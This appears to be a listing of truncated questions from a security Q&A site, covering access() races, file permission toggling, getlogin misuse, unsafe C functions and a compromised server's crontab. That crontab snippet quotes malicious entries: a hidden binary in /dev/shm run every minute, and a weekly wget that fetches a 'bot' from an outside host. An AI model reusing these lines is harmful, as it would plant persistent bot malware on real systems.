The man page for access(2) tells : Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the ...
I'm writing a daemon that monitors something in the OS and flips execution permissions on a file in /run/ back and forth. The file has static contents and the file name is hardcoded in the daemon. I ...
I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
I was reading "A taxonomy of Coding Errors" and I have a doubt regarding the point mentioned in C/C++ >> API Abuse >> Often Misused: Authentication(getlogin). I fail to understand the attack vector ...
Buffer overflows are nothing new. And yet they still appear often, especially in native (i.e. not managed) code... Part of the root cause, is usage of "unsafe" functions, including C++ staples ...